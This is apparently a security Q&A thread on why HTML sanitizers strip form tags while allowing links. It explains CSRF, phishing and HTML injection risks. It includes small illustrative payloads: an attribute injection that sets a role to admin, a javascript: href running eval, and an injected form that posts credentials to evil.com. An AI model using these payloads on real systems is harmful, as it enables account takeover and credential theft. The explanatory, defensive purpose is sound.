I have a content editor in a web application which allows administrators to add and edit content in certain areas of the application.

The editor component I have used automatically removes any script tags, click events and basically any JavaScript from the content that is entered. I was aware of this and is intentional behaviour of the web application on my part.

I have just found out that the editor also removes form tags from any content entered. I was not aware of this until recently when a user attempted to include a PayPal button.

I'm sure there is a good reason for it but off the top of my head can't think of what makes a form tag more dangerous than a HTML link.

What is the case for stripping out form tags from user provided content, while allowing HTML links?


Yes, it is. By how much, and if it would be ok for you to allow forms depends on your specific situation.

CSRF with referer checks

If your CSRF protection depends on referer checks, not on a token, allowing forms means that you would be vulnerable to CSRF.

As you disallow scripts, a victim would still need to actually click the form, but that can be achieved via social engineering or maybe ClickJacking.

For example, an attacker could place a paypal button, which would actually add a new admin user, in the hopes that you click it.

Of course, this is also possible with links, but only for GET requests, not for POST requests.

CSRF with existing forms

It sounds that your filter is a general filter, filtering out all possibly dangerous tags. But there are specific situations where you definitely do not want form tags, eg when echoing user input inside forms.

If you eg have a user edit form like this in the admin backend:

<form action="admin_user_edit.php">
    <input type="text" name="csrf-token" value="[CSRF token]">
    <input type="text" name="password" value="[value from database]">
    <input type="text" name="username" value="[value from database]">
    <input type="text" name="role" value="[value from database]">
    <input type="submit" value="Submit">

Now, a user could name themselves foobar"><input type="hidden" name="role" value="admin"><input type="submit" value="Submit"></form>. If they now get the admin to edit their profile, they would be admin, without the admin wanting to make them admin.


A form could also be used for phishing attacks. This again depends on the specific context where your user input is put, but theoretically, an attacker could for example display a form asking for login credentials, credit card details, etc, and then send them to their own server.

The hope is that the victim would not interpret the form as user input, but as belonging to your website.

  • Also, you can use javascript: urls. An example: <a href="javascript:eval(this.getAttribute('data-evil'))" data-evil="for(;;)">click me</a>. This will skip any verification present AND will execute any code inside the data-evil attribute. This also isn't covered. This example creates an infinite loop. – Ismael Miguel Apr 18 '16 at 12:45
  • @IsmaelMiguel good point. I didn't mention it, because I assumed that the filter OP uses filters for protocols, but it's always good to mention this explicitly. – tim Apr 18 '16 at 12:54
  • You can never assume it. Also, you didn't provide any solution. One could disallow forms and have some sort of replacement token, used in the HTML, where the form will be added. There, you could have a form builder, with a name that would be used to identify it in the page. Then, the form builder would store everything about the fields in the database. Or render it into HTML. When presenting it in the page, it would add the new fields to prevent CSRF. This is just a crude idea and may not work. – Ismael Miguel Apr 18 '16 at 13:30
  • 1
    Even if the CSRF defence is done with tokens, allowing forms might still be dangerous if the site uses JavaScript to automatically add the token on all form submit events. – Anders Apr 18 '16 at 15:01
  • Javascript and Databases are incompatible. I'm talking about server-side languages generating the forms. – Ismael Miguel Apr 18 '16 at 18:35

A form is more dangerous because it hides more stuff from the user than a simple link and can do different things.

automatically removes any script tags, click events and basically any Javascript

I assume that means that it also removes javascript:... links. So the only links an attacker can produce are simple GET requests, which amongst others, are clearly displayed to the user, both on mouse-over and in the address field after clicking (assuming the browser does that at all; mine are configured to do so).

A form can use arbitrary methods (POST etc.) and include arbitrary hidden content. The address field will, after the submit, only see the action part and will not even be aware that he sent more data, opening up much more ways to cheat.

A very simple attack with a form would be to display a faked login page (you only need harmless formatting) with an action that leads to a website of the attacker. The non-technical user will just be annoyed that the forum prompts for yet another login ("argh! I already logged in 3 times, why again?!"), will enter his credentials, which will promptly be delivered to the attacker. More involved scenarios can be imagined.


Conserning POST and GET

A link allows GET request when it is clicked. A form allows GET or POST requests when submitted. All GET requests that can be done with a form can also be done with a link and vice versa, so the extra functionality that the form allows is the POST requests.

Asuming people stick to the intentions of the HTTP verbs, a POST requests changes the state of the server while a GET request just fetches information. POST requests and hence forms are therefore inherently more risky.

A firt reason to filter out forms but not links is that there are obvious legitimate reasons for letting the user of CMS include links on pages, but legitimate uses for forms are more edge cases. Filtering subsets of HTML is hard, and it is easy to get it wrong or miss something, so disallowing everything that is not obviously nececarry is not a bad idea.¨

Risks with forms

Tim has already covered two of the main concerns - CSRF and phishing - in this answer so I will not repeat that here. I will add a third one - HTML injection. Take a look at this example:

<!-- Beginning of user generated content. -->
This is a normal webpage. Nothing fishy going on, I promise.
<form name="attack" method="post" action="http://evil.com/harvestpasswords.php">
<!-- End of user generated content. -->
<!-- Start of static HTML of page. -->
<div id="footer">
  <form name="login" method="post" action="login.php">
     <!-- A normal login form here. -->

In effect the normal login form will now be nested within the attack form. That will cause the browser to ignore the inner form tag (since nested forms are not allowed) and the form will hence be submitted to the attackers page.

Depending on the structure of your HTML on your page, this kind of attack might not work. But why take the risk?

Risks with links

A link also allows for execution of scripts with protocols like href="javascript:..." and href="vbscript:...". To avoid XSS hell you need a whitelist with allowed protocols (blacklisting will not do here).

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.